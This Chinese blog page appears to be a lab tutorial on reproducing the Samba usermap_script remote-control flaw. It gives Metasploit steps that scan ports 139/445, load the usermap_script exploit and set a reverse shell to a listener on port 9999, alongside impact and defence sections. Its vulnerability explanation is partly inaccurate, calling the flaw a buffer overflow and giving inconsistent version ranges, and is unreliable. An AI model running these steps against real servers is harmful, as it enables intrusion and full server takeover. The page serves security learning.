当前位置: 首页 > news >正文

Linux Samba 低版本漏洞(远程控制)复现与剖析

目录

前言

漏洞介绍

漏洞原理

产生条件

漏洞影响

防御措施

复现过程

结语


前言

在网络安全的复杂生态中,系统漏洞的探索与防范始终是保障数字世界安全稳定运行的关键所在。Linux Samba 作为一款在网络共享服务领域应用极为广泛的软件,其低版本中潜藏的远程控制漏洞,曾在网络安全界掀起波澜,引发了多起令人瞩目的安全事件。深入探究这类漏洞,不仅能帮助系统管理员筑牢服务器安全防线,为企业和个人的数据安全保驾护航,也为网络安全爱好者提供了宝贵的学习机会,助力他们提升技术能力,更好地理解网络攻防的原理与技巧。接下来,让我们一同深入剖析 Linux Samba 低版本漏洞,并详细呈现其复现过程。

漏洞介绍

Linux Samba 低版本漏洞,本质上是 Samba 在处理特定网络请求时暴露出的程序缺陷。攻击者利用这些漏洞,能够绕过常规的身份验证环节,直接在目标服务器上远程执行任意代码,从而实现对目标服务器的完全掌控。这一漏洞的影响范围相当广泛,几乎涵盖了所有使用低版本 Samba 服务的 Linux 服务器,无论是企业内部用于文件共享和数据存储的核心文件服务器,还是个人出于工作或生活需求搭建的小型共享服务器,都有可能成为被攻击的目标。

漏洞原理

Samba 低版本漏洞的根源在于其对 SMB(Server Message Block)协议的处理机制存在不足。SMB 协议作为一种网络文件共享协议,在 Samba 实现文件共享功能的过程中扮演着关键角色。当攻击者向存在漏洞的 Samba 服务器发送经过精心构造的 SMB 数据包时,服务器在解析这些数据包的过程中,由于程序逻辑上的瑕疵,会错误地执行攻击者预先注入的恶意代码。例如,在处理文件共享相关的请求时,服务器未能对输入数据的边界和合法性进行严格校验,这就给攻击者留下了可乘之机,使其能够通过缓冲区溢出等手段,覆盖程序的关键指令,最终实现远程代码的执行,进而控制整个服务器。

产生条件

  1. 服务器版本过低:若服务器所使用的 Samba 版本处于官方明确指出的存在漏洞的版本区间内,就极易受到攻击。以 Samba 3.5.0 之前的部分版本为例,这些版本由于开发时间较早,安全机制尚不完善,存在诸多已知的安全风险。
  2. 网络可达性:攻击者的主机需要与目标 Samba 服务器处于同一网络环境,或者能够通过网络进行访问。同时,目标服务器必须开放了 Samba 服务所使用的端口,通常为 139 和 445 端口。这两个端口一旦开放,就如同为攻击者打开了一扇潜在的 “攻击之门”,使其能够发起攻击。

漏洞影响

  1. 数据泄露:一旦攻击者成功利用漏洞入侵服务器,服务器上存储的所有共享文件以及各类敏感数据,如企业的核心商业机密文件、用户的个人隐私信息等,都将毫无保留地暴露在攻击者面前,造成严重的数据泄露风险。
  2. 服务器被控制:攻击者获得远程执行任意命令的权限后,可以对服务器进行一系列恶意操作。他们可能篡改系统文件,破坏服务器的正常运行机制;安装恶意软件,窃取更多数据或进一步传播恶意程序;甚至利用服务器发动分布式拒绝服务(DDoS)攻击,对其他网络设备或服务造成严重干扰。
  3. 安全态势恶化:被攻陷的服务器很容易沦为攻击者的 “跳板”。攻击者以此为据点,能够进一步渗透到内部网络的其他设备,不断扩大攻击范围,导致整个网络的安全态势急剧恶化。

防御措施

  1. 及时更新版本:定期关注 Samba 官方发布的版本更新信息,并及时将服务器上的 Samba 软件更新到最新版本。官方在后续版本中会针对已知漏洞进行修复,提升软件的安全性和稳定性。
  2. 端口管控:仅在确实有业务需求的情况下开放 Samba 服务端口。同时,借助防火墙的强大功能,通过设置严格的访问规则,精确限制能够访问 Samba 服务的 IP 地址范围,有效降低被攻击的风险。
  3. 安全配置:对 Samba 服务的安全选项进行合理配置。例如,启用身份验证机制,确保只有合法用户能够访问服务;细致地限制用户的访问权限,根据用户的实际需求分配最小权限,防止权限滥用。

复现过程

漏洞复现命令

nmap -p 139,445 10.0.0.105    #使用Nmap工具对目标服务器进行扫描
msfconsole                    #打开 Metasploit 框架
search smb_version            #搜索针对Samba漏洞的攻击模块
use 0                         #选择该攻击模块
info                          #查看需要配置的内容
set RHOST 10.0.0.105          #设置攻击的目标ip
run                           #运行  
search usermap                #找到exploit/multi/samba/usermap_script模块
use 0                         #选择刚刚搜索结果中索引为0模块 
set RHOSTS 10.0.0.105         #设置攻击ip地址
set LPORT 9999                #设置反向监听端口
run                           #运行 
  1. 环境准备
  • 搭建一台专门用于漏洞复现的 Linux 服务器,并在其上安装低版本的 Samba 服务,如 Samba 3.0.20 - 3.0.25rc3。这个特定版本区间存在已知的漏洞,便于我们进行后续的复现操作。
  • 在攻击者主机上安装 Metasploit 框架。这是一款在渗透测试领域广泛应用的强大工具,内置了众多针对不同漏洞的攻击模块,其中就包括针对 Samba 低版本漏洞的攻击模块,为我们的复现提供了有力支持。
  1. 漏洞探测
  • 使用 Nmap 工具对目标服务器进行扫描。执行命令nmap -sV --script=smb-os-discovery <目标服务器IP>,该命令能够详细探测目标服务器开放的 Samba 服务端口,并获取其版本信息。通过对扫描结果的深入分析,我们可以判断目标服务器是否运行着存在已知漏洞的 Samba 版本。
  1. 攻击利用
  • 打开 Metasploit 框架,在命令行中执行msfconsole命令,进入其强大的控制台界面。
  • 在控制台中使用search samba命令,搜索针对 Samba 漏洞的攻击模块。
  • 执行use 0命令,选择该攻击模块,将其加载到当前的攻击环境中。
  • 设置攻击目标的 IP 地址,通过执行set RHOSTS <目标服务器IP>命令,明确我们要攻击的目标。
  • 搜索与 “usermap” 相关的所有模块,选择刚刚搜索结果中索引为 0 的模块,设置攻击载荷,这里我们选择反向连接。同时,设置攻击者主机的 IP 和监听端口,分别执行set LHOST <攻击者主机IP>和set LPORT <攻击者监听端口>,确保攻击成功后能够顺利建立与目标服务器的反向连接。
  • 最后,执行run命令,正式发起攻击。如果一切顺利,攻击者将成功获取目标服务器的一个 Shell 会话,在这个会话中,攻击者可以执行任意命令,实现对目标服务器的控制。

结语

通过对 Linux Samba 低版本漏洞的全面复现与深入分析,我们对其危害性和潜在风险有了更为清晰和深刻的认识。在实际的网络环境中,无论是个人用户还是企业组织,都务必高度重视软件版本的更新和安全配置工作。及时修复漏洞,加强安全防护措施,是确保网络安全的关键所在。同时,我们也期待安全研究人员能够持续关注此类漏洞,不断探索新的防护技术和方法,为构建更加安全可靠的网络环境贡献自己的智慧和力量。

相关文章:

Linux Samba 低版本漏洞(远程控制)复现与剖析

目录 前言 漏洞介绍 漏洞原理 产生条件 漏洞影响 防御措施 复现过程 结语 前言 在网络安全的复杂生态中&#xff0c;系统漏洞的探索与防范始终是保障数字世界安全稳定运行的关键所在。Linux Samba 作为一款在网络共享服务领域应用极为广泛的软件&#xff0c;其低版本中…...

solidity基础 -- 可视范围

在 Solidity 编程语言中&#xff0c;可视范围&#xff08;Visibility&#xff09;用于控制合约中变量和函数的访问权限。这对于确保合约的安全性、模块化以及代码的可维护性至关重要。Solidity 提供了四种可视范围修饰符&#xff1a;public、private、external 和 internal。以…...

Spring Boot - 数据库集成07 - 数据库连接池

数据库连接池 文章目录 数据库连接池一&#xff1a;知识准备1&#xff1a;什么是数据库连接池&#xff1f;2&#xff1a;数据库连接池基本原理 二&#xff1a;HikariCP连接池1&#xff1a;简单使用2&#xff1a;进一步理解2.1&#xff1a;是SpringBoot2.x默认连接池2.2&#xf…...

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程 github地址 https://github.com/xiaoxiaoranxxx/POT-ZHIYUN k8s搭建教程 首先下载代码文件 git clone https://github.com/xiaoxiaoranxxx/POT-ZHIYUN.git cd POT-ZHIYUN编译镜像 代码相关文件在github https://github.com/x…...

MySQL 事件调度器

MySQL 事件调度器确实是一个更方便且内置的解决方案&#xff0c;可以在 MySQL 服务器端自动定期执行表优化操作&#xff0c;无需依赖外部工具或应用程序代码。这种方式也能减少数据库维护的复杂性&#xff0c;尤其适用于在数据库频繁更新或删除时进行自动化优化。 使用 MySQL …...

3 Spark SQL

Spark SQL 1. 数据分析方式2. SparkSQL 前世今生3. Hive 和 SparkSQL4. 数据分类和 SparkSQL 适用场景1) 结构化数据2) 半结构化数据3) 总结 5. Spark SQL 数据抽象1) DataFrame2) DataSet3) RDD、DataFrame、DataSet 的区别4) 总结 6. Spark SQL 应用1) 创建 DataFrame/DataSe…...

多头潜在注意力(MLA):让大模型“轻装上阵”的技术革新——从DeepSeek看下一代语言模型的高效之路

多头潜在注意力&#xff08;MLA&#xff09;&#xff1a;让大模型“轻装上阵”的技术革新 ——从DeepSeek看下一代语言模型的高效之路 大模型的“内存焦虑” 当ChatGPT等大语言模型&#xff08;LLM&#xff09;惊艳世界时&#xff0c;很少有人意识到它们背后隐藏的“内存焦虑”…...

Spring AI 在微服务中的应用:支持分布式 AI 推理

1. 引言 在现代企业中&#xff0c;微服务架构 已成为开发复杂系统的主流方式&#xff0c;而 AI 模型推理 也越来越多地被集成到业务流程中。如何在分布式微服务架构下高效地集成 Spring AI&#xff0c;使多个服务可以协同完成 AI 任务&#xff0c;并支持分布式 AI 推理&#x…...

赛博算卦之周易六十四卦JAVA实现:六幺算尽天下事,梅花化解天下苦。

佬们过年好呀~新年第一篇博客让我们来场赛博算命吧&#xff01; 更多文章&#xff1a;个人主页 系列文章&#xff1a;JAVA专栏 欢迎各位大佬来访哦~互三必回&#xff01;&#xff01;&#xff01; 文章目录 #一、文化背景概述1.文化起源2.起卦步骤 #二、卦象解读#三、just do i…...

数据分析系列--⑤RapidMiner进行关联分析(中文数据案例)

一、数据集 二、数据预处理 1.读取数据、拆分、重命名 2.数据预处理 三、关联分析 四、结论 一、数据集 点击下载数据集shopping_basket.xlsx ,这个数据集专门使用中文数据来进行分析. 二、数据预处理 1.读取数据、拆分、重命名 2.数据预处理 三、关联分析 四、结论 Ok…...

fpga系列 HDL:XILINX Vivado Vitis 高层次综合(HLS) 实现 EBAZ板LED控制(下)

补充代码&#xff0c;将clk之外的输入都设置能使其运行的默认值 timescale 1ns / 1ps module HLSLED(input wire clk ,input wire rst_n ,output wire led);wire led_o_i 0;reg rst 0;wire led_o_o_ap_vld;hlsv1_0 your_instance_name (.led_o_o_ap_vld(led_o_o_ap_vld), /…...

设计模式面试题

一、工厂方法模式: 1.简单工厂模式: (1).抽象产品:定义了产品的规范&#xff0c;描述了产品的主要特性和功能 (2).具体产品:实现或继承抽象产品的子类 (3).具体工厂:提供了创建产品的方法&#xff0c;调用者通过该方法来获取产品 所有产品都共有一个工厂&#xff0c;如果新…...

7层还是4层?网络模型又为什么要分层?

~犬&#x1f4f0;余~ “我欲贱而贵&#xff0c;愚而智&#xff0c;贫而富&#xff0c;可乎&#xff1f; 曰&#xff1a;其唯学乎” 一、为什么要分层 \quad 网络通信的复杂性促使我们需要一种分层的方法来理解和管理网络。就像建筑一样&#xff0c;我们不会把所有功能都混在一起…...

12.udp

12.udp **1. UDP特性****2. UDP编程框架&#xff08;C/S模式&#xff09;****3. UDP发送接收函数****4. UDP编程练习** 1. UDP特性 连接特性&#xff1a;无链接&#xff0c;通信前无需像TCP那样建立连接。可靠性&#xff1a;不可靠&#xff0c;不保证数据按序到达、不保证数据…...

【Leetcode 热题 100】32. 最长有效括号

问题背景 给你一个只包含 ‘(’ 和 ‘)’ 的字符串&#xff0c;找出最长有效&#xff08;格式正确且连续&#xff09;括号 子串 的长度。 数据约束 0 ≤ s . l e n g t h ≤ 3 1 0 4 0 \le s.length \le 3 \times 10 ^ 4 0≤s.length≤3104 s [ i ] s[i] s[i] 为 ‘(’ 或 ‘…...

Python NumPy(8):NumPy 位运算、NumPy 字符串函数

1 NumPy 位运算 位运算是一种在二进制数字的位级别上进行操作的一类运算&#xff0c;它们直接操作二进制数字的各个位&#xff0c;而不考虑数字的整体值。NumPy 提供了一系列位运算函数&#xff0c;允许对数组中的元素进行逐位操作&#xff0c;这些操作与 Python 的位运算符类似…...

Fork/Join框架_任务分解与并行执行

1 概述 Fork/Join框架是Java 7引入的一个用于并行执行任务的框架。它特别适用于可以递归分解为多个子任务的工作,每个子任务可以独立执行,并且结果可以合并以获得最终结果。Fork/Join框架通过工作窃取(work-stealing)算法提高了多核处理器上的任务执行效率。 2 核心组件 …...

【大厂AI实践】OPPO:大规模知识图谱及其在小布助手中的应用

导读&#xff1a;OPPO知识图谱是OPPO数智工程系统小布助手团队主导、多团队协作建设的自研大规模通用知识图谱&#xff0c;目前已达到数亿实体和数十亿三元组的规模&#xff0c;主要落地在小布助手知识问答、电商搜索等场景。 本文主要分享OPPO知识图谱建设过程中算法相关的技…...

SOME/IP--协议英文原文讲解2

前言 SOME/IP协议越来越多的用于汽车电子行业中&#xff0c;关于协议详细完全的中文资料却没有&#xff0c;所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块&#xff1a; 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 4.1 Speci…...

为大模型提供webui界面的利器:Open WebUI 完全本地离线部署deepseek r1

为大模型提供webui界面的利器&#xff1a;Open WebUI Open WebUI的官网&#xff1a;&#x1f3e1; Home | Open WebUI 开源代码&#xff1a;WeTab 新标签页 Open WebUI是一个可扩展、功能丰富、用户友好的自托管AI平台&#xff0c;旨在完全离线运行。它支持各种LLM运行程序&am…...

Cyber Security 101-Build Your Cyber Security Career-Security Principles(安全原则)

了解安全三元组以及常见的安全模型和原则。 任务1&#xff1a;介绍 安全已成为一个流行词;每家公司都想声称其产品或服务是安全的。但事实真的如此吗&#xff1f; 在我们开始讨论不同的安全原则之前&#xff0c;了解我们正在保护资产的对手至关重要。您是否试图阻止蹒跚学步…...

react-native网络调试工具Reactotron保姆级教程

在React Native开发过程中&#xff0c;调试和性能优化是至关重要的环节。今天&#xff0c;就来给大家分享一个非常强大的工具——Reactotron&#xff0c;它就像是一个贴心的助手&#xff0c;能帮助我们更轻松地追踪问题、优化性能。下面就是一份保姆级教程哦&#xff01; 一、…...

Progressive Pretext Task Learning for Human Trajectory Prediction | 文献翻译

祥龙回首留胜景&#xff0c;金蛇起舞贺新程。 概述 行人轨迹预测是一项旨在预测行人未来位置的任务&#xff0c;它通常涵盖了从短期到长期的整个时间范围内的轨迹。然而&#xff0c;现有的研究试图通过单一、统一的训练范式来解决整个轨迹预测问题&#xff0c;往往忽视了行人轨…...

并发编程基础 - 并发编程的概念(C++)

前言 在当今多核处理器普及的时代&#xff0c;并发编程成为开发高性能应用程序的关键技术之一。无论是服务器端应用&#xff0c;桌面软件&#xff0c;还是移动应用&#xff0c;并发编程都扮演着重要角色。本文将详细介绍并发编程的基本概念&#xff0c;结合C语言特性&#xff…...

ARM嵌入式学习--第十天(UART)

--UART介绍 UART(Universal Asynchonous Receiver and Transmitter)通用异步接收器&#xff0c;是一种通用串行数据总线&#xff0c;用于异步通信。该总线双向通信&#xff0c;可以实现全双工传输和接收。在嵌入式设计中&#xff0c;UART用来与PC进行通信&#xff0c;包括与监控…...

OpenEuler学习笔记(十七):OpenEuler搭建Redis高可用生产环境

在OpenEuler上搭建Redis高可用生产环境&#xff0c;通常可以采用Redis Sentinel或Redis Cluster两种方式&#xff0c;以下分别介绍两种方式的搭建步骤&#xff1a; 基于Redis Sentinel的高可用环境搭建 安装Redis 配置软件源&#xff1a;可以使用OpenEuler的默认软件源&#…...

CTF从入门到精通

文章目录 背景知识CTF赛制 背景知识 CTF赛制 1.web安全:通过浏览器访问题目服务器上的网站&#xff0c;寻找网站漏洞(sql注入&#xff0c;xss&#xff08;钓鱼链接&#xff09;,文件上传&#xff0c;包含漏洞&#xff0c;xxe&#xff0c;ssrf&#xff0c;命令执行&#xff0c…...

java入门笔记基础语法篇(4)

变量 在Java中&#xff0c;每个变量都有一个类型&#xff08;type&#xff09;。在声明变量时&#xff0c;变量的类型位于变量 名之前。例如&#xff1a; int days; double salary; long earthPopulation; boolean done; 在Java中&#xff0c;每个声明以分号结束。变量名必须…...

【RocketMQ 存储】- broker 端存储单条消息的逻辑

文章目录 1. 前言2. DefaultMessageStore#asyncPutMessage 添加单条消息2.1 DefaultMessageStore#checkStoreStatus 检查存储服务的状态2.2 DefaultMessageStore#checkMessage 校验消息长度是否合法2.3 CommitLog#asyncPutMessage 核心存储逻辑2.4 MappedFile#appendMessage2.5…...

爬虫基础(四)线程 和 进程 及相关知识点

目录 一、线程和进程 &#xff08;1&#xff09;进程 &#xff08;2&#xff09;线程 &#xff08;3&#xff09;区别 二、串行、并发、并行 &#xff08;1&#xff09;串行 &#xff08;2&#xff09;并行 &#xff08;3&#xff09;并发 三、爬虫中的线程和进程 &am…...

29. C语言 可变参数详解

本章目录: 前言可变参数的基本概念可变参数的工作原理如何使用可变参数 示例&#xff1a;计算多个整数的平均值解析&#xff1a; 更复杂的可变参数示例&#xff1a;打印可变数量的字符串解析&#xff1a; 总结 前言 在C语言中&#xff0c;函数参数的数量通常是固定的&#xff…...

Java CAS操作

通过前面的学习认识到了CPU缓存&#xff0c;Java内存模型&#xff0c;以及线程安全的原子、可见、顺序三大特性。本文则重点认识CAS操作&#xff0c;这是Java并发编程常见的一个操作&#xff0c;AbstractQueuedSynchronizer基于此操作提供了丰富的同步器和各种锁。 CAS&#x…...

KNIME:开源 AI 数据科学

KNIME&#xff08;Konstanz Information Miner&#xff09;是一款开源且功能强大的数据科学平台&#xff0c;由德国康斯坦茨大学的软件工程师团队开发&#xff0c;自2004年推出以来&#xff0c;广泛应用于数据分析、数据挖掘、机器学习和可视化等领域。以下是对KNIME的深度介绍…...

超级强大的压缩和解压工具,免费解压

软件介绍 今天要给大家分享一款超厉害的软件 ——ZArchiver&#xff0c;在我心中&#xff0c;它堪称安卓平台目前最为强大的解压软件。 之前&#xff0c;我一直使用 MT 管理器来解压文件。然而&#xff0c;MT 管理器存在一些局限性。比如在处理解压分卷文件时&#xff0c;它有时…...

代码随想录_栈与队列

栈与队列 232.用栈实现队列 232. 用栈实现队列 使用栈实现队列的下列操作&#xff1a; push(x) – 将一个元素放入队列的尾部。 pop() – 从队列首部移除元素。 peek() – 返回队列首部的元素。 empty() – 返回队列是否为空。 思路: 定义两个栈: 入队栈, 出队栈, 控制出入…...

基于STM32的智能停车场管理系统设计

目录 引言系统设计 硬件设计软件设计 系统功能模块 车辆识别与进出管理模块车位检测与引导模块计费与支付模块数据存储与查询模块远程监控与异常报警模块 控制算法 车牌识别与车辆进出管理算法车位检测与引导算法计费与支付处理算法数据存储与远程反馈算法 代码实现 车辆检测与…...

告别重启!Vue CLI 动态代理配置实战:实现热更新与灵活配置

在前端开发中&#xff0c;代理配置是解决跨域问题的常见手段。尤其是在使用 Vue CLI 进行开发时&#xff0c;我们经常需要通过 devServer.proxy 来配置代理。然而&#xff0c;传统的代理配置通常是静态的&#xff0c;修改后需要重启开发服务器&#xff0c;这在频繁调整代理配置…...

Cocos Creator 3.8 2D 游戏开发知识点整理

目录 Cocos Creator 3.8 2D 游戏开发知识点整理 1. Cocos Creator 3.8 概述 2. 2D 游戏核心组件 (1) 节点&#xff08;Node&#xff09;与组件&#xff08;Component&#xff09; (2) 渲染组件 (3) UI 组件 3. 动画系统 (1) 传统帧动画 (2) 动画编辑器 (3) Spine 和 …...

【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.28 存储之道:跨平台数据持久化方案

好的&#xff0c;我将按照您的要求生成一篇高质量的Python NumPy文章。以下是第28篇《存储之道&#xff1a;跨平台数据持久化方案》的完整内容&#xff0c;包括目录、正文和参考文献。 1.28 存储之道&#xff1a;跨平台数据持久化方案 目录 #mermaid-svg-n1z37AP8obEgptkD {f…...

chrome源码剖析—UI架构消息机制

Chrome 浏览器的 UI 架构是高度模块化且基于现代图形技术和用户界面设计理念构建的。它的 UI 架构涵盖了窗口、标签页、控件、通知、菜单等组件的管理和交互。Chrome 的 UI 基本上是通过 views 框架和 Aura&#xff08;Chrome 自己的 UI 层&#xff09;构建的&#xff0c;后者又…...

面试经典150题——图的广度优先搜索

文章目录 1、蛇梯棋1.1 题目链接1.2 题目描述1.3 解题代码1.4 解题思路 2、最小基因变化2.1 题目链接2.2 题目描述2.3 解题代码2.4 解题思路 3、单词接龙3.1 题目链接3.2 题目描述3.3 解题代码3.4 解题思路 1、蛇梯棋 1.1 题目链接 点击跳转到题目位置 1.2 题目描述 给你一…...

Day30-【AI思考】-错题分类进阶体系——12维错误定位模型

文章目录 错题分类进阶体系——12维错误定位模型**一、认知层错误&#xff08;根源性缺陷&#xff09;****二、操作层错误&#xff08;执行过程偏差&#xff09;****三、心理层错误&#xff08;元认知障碍&#xff09;****四、进阶错误&#xff08;专业级陷阱&#xff09;** 错…...

利用Edu邮箱解锁Notion Pro,提升学习与工作效率

摘要&#xff1a; 本文将详细介绍如何通过Edu教育邮箱申请教育订阅&#xff0c;从而免费获得Notion Pro版的所有高级功能。此外&#xff0c;我们还将简要提及Edu邮箱的其他福利&#xff0c;如申请Azure 100免费VPS和OpenAI。通过对比Notion免费版和Pro版的差异&#xff0c;你将…...

剑指 Offer II 010. 和为 k 的子数组

comments: true edit_url: https://github.com/doocs/leetcode/edit/main/lcof2/%E5%89%91%E6%8C%87%20Offer%20II%20010.%20%E5%92%8C%E4%B8%BA%20k%20%E7%9A%84%E5%AD%90%E6%95%B0%E7%BB%84/README.md 剑指 Offer II 010. 和为 k 的子数组 题目描述 给定一个正整数数组和一个…...

【外文原版书阅读】《机器学习前置知识》2.用看电影推荐的例子带你深入了解向量点积在机器学习的作用

目录 3.3 Where Are You Looking, Vector? The Dot Product 个人主页&#xff1a;Icomi 大家好&#xff0c;我是Icomi&#xff0c;本专栏是我阅读外文原版书《Before Machine Learning》对于文章中我认为能够增进线性代数与机器学习之间的理解的内容的一个输出&#xff0c;希望…...

Vue.js组件开发-实现全屏平滑移动、自适应图片全屏滑动切换

使用Vue实现全屏平滑移动、自适应图片全屏滑动切换的功能。使用Vue 3和Vue Router&#xff0c;并结合一些CSS样式来完成这个效果。 步骤 创建Vue项目&#xff1a;使用Vue CLI创建一个新的Vue项目。准备图片&#xff1a;将需要展示的图片放在项目的public目录下。创建组件&…...

openRv1126 AI算法部署实战之——ONNX模型部署实战

在RV1126开发板上部署ONNX算法&#xff0c;实时目标检测RTSP传输。视频演示地址 rv1126 yolov5 实时目标检测 rtsp传输_哔哩哔哩_bilibili 一、准备工作 1.从官网下载YOLOv5-v7.0工程&#xff08;YOLOv5的第7个版本&#xff09; 手动在线下载&#xff1a; Releases ultraly…...

实验作业管理系统的设计与实现

标题:实验作业管理系统的设计与实现 内容:1.摘要 本系统旨在解决当前实验作业管理中存在的问题&#xff0c;提高管理效率和质量。通过对现有系统的调研和分析&#xff0c;我们确定了系统的功能需求和性能要求&#xff0c;并采用了先进的技术和架构进行设计和实现。系统实现了实…...

【愚公系列】《循序渐进Vue.js 3.x前端开发实践》032-组件的Teleport功能

标题详情作者简介愚公搬代码头衔华为云特约编辑&#xff0c;华为云云享专家&#xff0c;华为开发者专家&#xff0c;华为产品云测专家&#xff0c;CSDN博客专家&#xff0c;CSDN商业化专家&#xff0c;阿里云专家博主&#xff0c;阿里云签约作者&#xff0c;腾讯云优秀博主&…...

leetcode——二叉树的最大深度(java)

给定一个二叉树 root &#xff0c;返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;3 示例 2&#xff1a; 输入&#xff1a;root [1,null,2] 输…...